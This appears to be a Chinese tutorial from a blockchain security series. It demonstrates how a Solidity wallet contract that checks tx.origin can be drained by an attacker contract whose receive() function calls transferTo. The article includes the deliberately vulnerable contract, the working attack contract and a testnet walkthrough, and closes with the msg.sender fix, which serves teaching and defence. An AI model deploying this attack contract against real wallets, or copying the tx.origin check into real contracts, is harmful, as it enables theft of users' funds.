区块链合约安全系列（一）公链合约权限校验引发的严重安全问题_合约owner攻击

id:BSN_2021

公众号：BSN研习社

背景：由于公链环境下所有的信息都是共享的，智能合约相当于是透明的，任何人只需知道其地址就可以调用内部的方法，所以开发者在开发合约时，逻辑判断一般会添加一下权限的校验，以提高其安全性。但是有时候对其了解不深，会带来一些潜在的隐藏bug。

目标：验证当合约内部使用 tx.origin 做权限校验时，攻击者可以绕过逻辑约束进行资金盗取。

对象：适用于用Solidity语言开发的智能合约，例如BSN中的武汉链(基于ETH）和泰安链（基于 fisco bcos）上运行的智能合约。

环境准备

•两个合约文件，一个为用户钱包合约（TxUserWallet ），另一个为攻击钱包合约（TxAttackWallet ）。•两个账户，分别为以上两个合约的owner。预制为 TxUserWallet owner:

0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9 

TxAttackWallet owner:

0x5adaCf91A3C4e9a7541f0dA89dC575354C075941

合约文件_TxUserWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;
 
    event Deposit(uint256 balance);
    constructor() payable {
        owner = msg.sender;
    }
 
    function supplyFunds() payable public {
        emit Deposit(msg.value);
    }
 
    function transferTo(address payable dest, uint amount) public {
        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
        require(tx.origin == owner);
        dest.transfer(amount);
    }
 
    function balanceOf() public view returns(uint){
        return address(this).balance;
    }
 
    function withdraw() public {
       payable(owner).transfer(address(this).balance);
    }
 
}

合约文件_TxAttackWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {
     function transferTo(address payable dest, uint amount) external;
}
 
contract TxAttackWallet {
    address payable owner;
    TxUserWallet userWallet;
    constructor(TxUserWallet userWalletAddr) {
        owner = payable(msg.sender);
        userWallet = userWalletAddr;
    }
 
    function balanceOf() public view returns(uint){
        return address(this).balance;
    }
 
    receive() external payable {
        userWallet.transferTo(owner, address(userWallet).balance);
    }
}

合约部署

使用remix分别部署两个合约

1.部署合约TxUserWallet的过程截图

 合约部署成功的截图如下

 2. 部署合约TxAttackWallet 的过程截图

注意：部署的时候需要将“用户钱包合约的地址”进行预制，用于后续攻击时使用。

 

 合约部署成功的截图如下

攻击测试

攻击原理为诱骗合约TxUserWallet的owner对合约TxAttackWallet进行转账操作。因为技术上当合约TxAttackWallet接受ether时会触发receive()方法，从而进行对TxUserWallet合约进行盗取ether。

为方便做对比，我们在转账操作之前先截图一下用户钱包合约以及攻击合约的owner的账户余额

 

现在使用TxUserWallet 的owner账户对合约TxAttackWallet进行转账操作。即 使用账户0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9向合约账户0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd转账0.001（金额任意）。

 

转账交易记录 https://ropsten.etherscan.io/tx/0x779ec2ef110f684fc20080f28ec840e2f11872bdd87775efef7228408ed5948d

转账操作成功后，我们来查看一下TxUserWallet拥有的0.00002 Ether是否被盗取了，截图如下

上图可以看出余额已变为零，接下来看一下TxAttackWallet的owner账户余额，截图如下

 

上图可以发现一笔0.00002 Ether转账记录，同时对比余额变动，至此已盗取成功。

结论

综上发现，当我们使用tx.origin做校验时，得到的是_交易原始签名地址而不是攻击合约的地址_，从而绕过了业务约束逻辑，将所有资金进行了转移操作。

另外，那如何进行修复呢？只需要将tx.origin改为msg.sender去做校验即可。有兴趣的可以试一下。